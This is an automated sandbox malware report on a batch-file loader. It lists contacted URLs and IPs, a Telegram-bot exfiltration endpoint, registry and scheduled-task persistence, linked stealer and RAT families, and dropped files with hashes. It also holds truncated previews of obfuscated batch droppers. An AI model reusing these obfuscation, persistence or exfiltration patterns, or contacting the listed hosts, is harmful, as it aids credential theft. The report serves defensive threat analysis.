00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lwaziacademy.com/wps/200	x.exe, 00000006.00000002.2508181748.0000000020B7D000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.189l	Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.comd	Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 0000000E.00000002.2558666717.00000000042F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lwaziacademy.com/	x.exe, 00000006.00000002.2450193992.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	Microsofts.exe, 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	Microsofts.exe, 0000000D.00000002.4634725765.00000000026DB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.orgd	Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	Microsofts.exe, 0000000D.00000002.4634725765.0000000002671000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/d	Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Microsofts.exe, 0000000D.00000002.4634725765.0000000002641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2558666717.00000000042F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0C	x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot-/sendDocument?chat_id=	Microsofts.exe, 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://www.pmail.com0	x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020B12000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2445124760.000000007EB4A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2529595198.0000000021DFB000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2444599490.0000000021D51000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000019.00000002.2779535012.0000000002662000.00000004.00001000.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	Microsofts.exe, 0000000D.00000002.4634725765.0000000002671000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.185.8.252	lwaziacademy.com	South Africa	36943	GridhostZA	true
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.80.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1586924
Start date and time:	2025-01-09 19:08:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO#3_RKG367.bat
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winBAT@42/20@3/3
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 98% Number of executed functions: 249 Number of non-executed functions: 67
Cookbook Comments:	Found application associated with file extension: .bat Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Trading_AIBot.exe, PID 4064 because it is empty
Execution Graph export aborted for target powershell.exe, PID 528 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PO#3_RKG367.bat

Simulations

Behavior and APIs

Time	Type	Description
13:09:46	API Interceptor	2x Sleep call for process: x.exe modified
13:09:59	API Interceptor	21x Sleep call for process: powershell.exe modified
13:10:05	API Interceptor	4x Sleep call for process: Oupzhkpr.PIF modified
13:10:20	API Interceptor	1x Sleep call for process: dllhost.exe modified
13:10:43	API Interceptor	1971277x Sleep call for process: apihost.exe modified
19:09:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Oupzhkpr C:\Users\Public\Oupzhkpr.url
19:09:59	Task Scheduler	Run new task: AccSys path: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe
19:10:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Oupzhkpr C:\Users\Public\Oupzhkpr.url
19:10:20	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
41.185.8.252	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
158.101.44.242	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FORTUNE RICH_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	file.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ZOYGRL1ePa.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Statement_3029_from_Cross_Traders_and_Logistics_ltd.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	fiyati_teklif 65TBI20_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
reallyfreegeoip.org	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	fiyati_teklif 65TBI20_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.64.1
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
lwaziacademy.com	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	fiyati_teklif 65TBI20_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	0V2JsCrGUB.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	https://boutiquedumonde.instawp.xyz/wp-content/themes/twentytwentyfive/envoidoclosa_toutdomaine/wetransfer/index.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
GridhostZA	garm7.elf	Get hash	malicious	Mirai	Browse	41.61.164.231
	goarm.elf	Get hash	malicious	Mirai	Browse	41.61.164.231
	3.elf	Get hash	malicious	Unknown	Browse	41.61.164.255
	1.elf	Get hash	malicious	Unknown	Browse	41.185.108.138
	2.elf	Get hash	malicious	Unknown	Browse	41.185.108.118
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252
	armv4l.elf	Get hash	malicious	Mirai	Browse	41.61.6.129
	3.elf	Get hash	malicious	Unknown	Browse	41.185.108.101
ORACLE-BMC-31898US	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Payment 01.08.25.pdf.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.6.168
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	193.122.6.168
	PO.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	fiyati_teklif 65TBI20_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.80.1
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
a0e9f5d64349fb13191bc781f81f42e1	Invoice.exe	Get hash	malicious	LummaC	Browse	41.185.8.252
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse	41.185.8.252
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse	41.185.8.252
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse	41.185.8.252
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse	41.185.8.252
	cLm7ThwEvh.msi	Get hash	malicious	Unknown	Browse	41.185.8.252
	digitalisierungskonzept_muster.js	Get hash	malicious	Unknown	Browse	41.185.8.252
	NvOxePa.exe	Get hash	malicious	LummaC	Browse	41.185.8.252
	digitalisierungskonzept_muster.js	Get hash	malicious	Unknown	Browse	41.185.8.252

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Libraries\rpkhzpuO.pif	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	HSBC_PAY.SCR.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse

Created / dropped Files

C:\Users\Public\Libraries\FX.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	8556
Entropy (8bit):	4.623706637784657
Encrypted:	false
SSDEEP:	192:dSSQx41VVrTlS2owuuWTtkY16Wdhdsu0mYKDCIfYaYuX1fcDuy:Vrhgwuua5vdnQaCIVJF6uy
MD5:	60CD0BE570DECD49E4798554639A05AE
SHA1:	BD7BED69D9AB9A20B5263D74921C453F38477BCB
SHA-256:	CA6A6C849496453990BECEEF8C192D90908C0C615FA0A1D01BCD464BAD6966A5
SHA-512:	AB3DBDB4ED95A0CB4072B23DD241149F48ECFF8A69F16D81648E825D9D81A55954E5DD9BC46D3D7408421DF30C901B9AD1385D1E70793FA8D715C86C9E800C57
Malicious:	true
Preview:	@echo off..set "MJtc=Iet "..@%.r.......%e%...%c%...r....%h%.....%o%........% % .....%o%...%f%.o.%f%......%..s%.......%e%.%t%.. .....% %.rr.. .%"%...%w%......%o%...o..%t%r.....%c%....%=%... . .%s%...... %e%....%t%....% %........ %"% o...%..%wotc%"%.%n% r .%O%...%P%.. ..%t%.%=%...... o..%=%......%"%....r...%..%wotc%"aeeYdDdanR%nOPt%s://"..%wotc%"%..........%a%.%e%......%e%.r..%Y%..%d%.....r....%D%.. %d% ... .%a%.. ...%n%.. ..%R%........%%nOPt%s%...... .%:%.. %/%....%/%r......%"%.....r.%..%wotc%"%...... ...%U%.o..%g%.r.%

C:\Users\Public\Libraries\NEO.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (420), with CRLF line terminators
Category:	dropped
Size (bytes):	46543
Entropy (8bit):	4.705001079878445
Encrypted:	false
SSDEEP:	768:Ud6T6yIssKMyD/LgZ0+9Z2noufIBUEADZQp2H8ZLq:UdQFIssKMyjL4X2T8UbZT
MD5:	637A66953F03B084808934ED7DF7192F
SHA1:	D3AE40DFF4894972A141A631900BD3BB8C441696
SHA-256:	41E1F89A5F96F94C2C021FBC08EA1A10EA30DAEA62492F46A7F763385F95EC20
SHA-512:	2A0FEDD85722A2701D57AA751D5ACAA36BBD31778E5D2B51A5A1B21A687B9261F4685FD12E894244EA80B194C76E722B13433AD9B649625D2BC2DB4365991EA3
Malicious:	false
Preview:	@echo off..set "EPD=sPDet "..@%...... or%e%.........%c%......%h%.........o%o%.or......% %.o.ro...%o%.%f%...r.....%f%....r....%..s%. %e%.....%t% % % rrr....%"%.....%E%....%J%.. ....%O%.%h% .......%=%........%s%.. ..%e%....%t%....% %...o...%"%.%..%EJOh%"%.%r% %H%..%C%........%N%....o ....%=%..........%=% .%"%..%..%EJOh%"%.....%K%.%z%..r%j%........%L%..%c%. o.......%f%. o..%x%.%X%.........r%V%.%J%.....%%rHCN%k%.... ...%"%........%..%EJOh%"%.o.....%a%or%g%..o.... ..%u% ..%P%.....o...%X%.. .......%c% .....%U%.%I%. .

C:\Users\Public\Libraries\Oupzhkpr

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	data
Category:	dropped
Size (bytes):	679957
Entropy (8bit):	7.4483963454083435
Encrypted:	false
SSDEEP:	12288:2H+NXHhlVBcqgRbPaltoM6OwLovLA/eimwQUaq3cF2ez06hNg+Ymnch:2qHX8RbyfovtLovLA/eim/ccF2ez06hO
MD5:	25A482D7B6698E7666A523C910799F13
SHA1:	18B17A1E14069E747F5076F97A9654D8D99E5ADA
SHA-256:	4C1614F48CC1998B7E1F23C15AB0F0E2F4C9356EC05FF413FC5BE98D98EC8ACB
SHA-512:	5525D32CB43E6976D8F04EB60281DC7194E8FBC05D39098FD9EBA5E0BDD50C9246A5FA8A88A601940369A97589351F848AD0AB56D6B5B97470FCDBF076572AAE
Malicious:	true
Preview:	...8...............................................................................................8...9.............8...*............................................................................................................................................................................{.."..~.......{..........!.......#...............!.......}................... .(...{.'......\|).%.... .........~.........$..\|... ..%}.~.....................#\|....{...{...........{....('..~.%....~.........}...\|...............$...................$.....\|{.$.~\|.....\|.\|.......}$..... .\|~.. ...'......$."~...#!...#........!..\|...~...\|.{....~\|...... ........}......&.........~{.........&\|... ............ ...!.......%...............}.....$..........{....\|...........~%.....\|...}...#..%.{....&.........(...{.....#!. .......\|.....#....{...........................~%.................}}.......{......\|...........).....\|.\|....%"...\|........(..FFI.S.J.<.N.

C:\Users\Public\Libraries\Oupzhkpr.PIF

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1317376
Entropy (8bit):	6.092693903786427
Encrypted:	false
SSDEEP:	24576:hULl20LaVZ0emwYGqo1FJ89BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBx:hU1X1orJEBBBBBBBBBBBBBBBBBBBBBBB
MD5:	E337ECD5680D121D6DD649956DC716CA
SHA1:	198EAA7905760AA3FEE7D7329EC6354096C6BA63
SHA-256:	80AF0DDC803BB3CD14029CD9CEE39D81B15B21FC126912EFBDD7824BA740669B
SHA-512:	75783A2850F451E4733F7CFBBF1A9451041C040BB64B7DF7AA19ABE2FFFDDF45291C4706C5F606EE6AD168779B25C0D88DE2481FC563DAB1531BFD907CC20C92
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................l.............@..............................................@..............................2%...........................P...a...........................@.......................................................text............................... ..`.itext.............................. ..`.data...............................@....bss.....6...............................idata..2%.......&..................@....tls....4....0...........................rdata.......@......................@..@.reloc...a...P...b..................@..B.rsrc................2..............@..@....................................@..@................................................................................................

C:\Users\Public\Libraries\rpkhzpuO.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175800
Entropy (8bit):	6.631791793070417
Encrypted:	false
SSDEEP:	3072:qjyOm0e6/bIhbuwxlEb1MpG+xUEyAn0fYuDGOpPXFZ7on+gUxloDMq:qjyl6ebX45OG+xUEWfYUGOpPXFZ7on+G
MD5:	22331ABCC9472CC9DC6F37FAF333AA2C
SHA1:	2A001C30BA79A19CEAF6A09C3567C70311760AA4
SHA-256:	BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
SHA-512:	C7F5BAAD732424B975A426867D3D8B5424AA830AA172ED0FF0EF630070BF2B4213750E123A36D8C5A741E22D3999CA1D7E77C62D4B77D6295B20A38114B7843C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: ENQ-0092025.doc, Detection: malicious, Browse Filename: yxU3AgeVTi.exe, Detection: malicious, Browse Filename: ITT # KRPBV2663 .doc, Detection: malicious, Browse Filename: PI ITS15235.doc, Detection: malicious, Browse Filename: PO#5_Tower_049.bat, Detection: malicious, Browse Filename: HSBC_PAY.SCR.exe, Detection: malicious, Browse Filename: PO_B2W984.com, Detection: malicious, Browse Filename: image.exe, Detection: malicious, Browse Filename: PO_KB#67897.cmd, Detection: malicious, Browse Filename: Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....>.{..................................... ....@.......................... .......c........... ..............................................................H....................................................................................text............................... ..`.data........ ...P..................@....tls.................`..............@....rdata...............b..............@..P.idata... ...........d..............@..@.edata...............\|..8...,...@...@..@

C:\Users\Public\Oupzhkpr.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Oupzhkpr.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.187937555197363
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XM1N6XL3vsbxXPJovn:HRYFVmTWDyzKNafExXPmv
MD5:	73403ACC8CC138141FA79EAA29530668
SHA1:	B164AEFD4AFBEBD9A960949033EF213E034F4A5C
SHA-256:	AB7593E2C5D2D8EAC1B7418BCB695FC681B0B1DD1C4BF615B404BAADEE5D715F
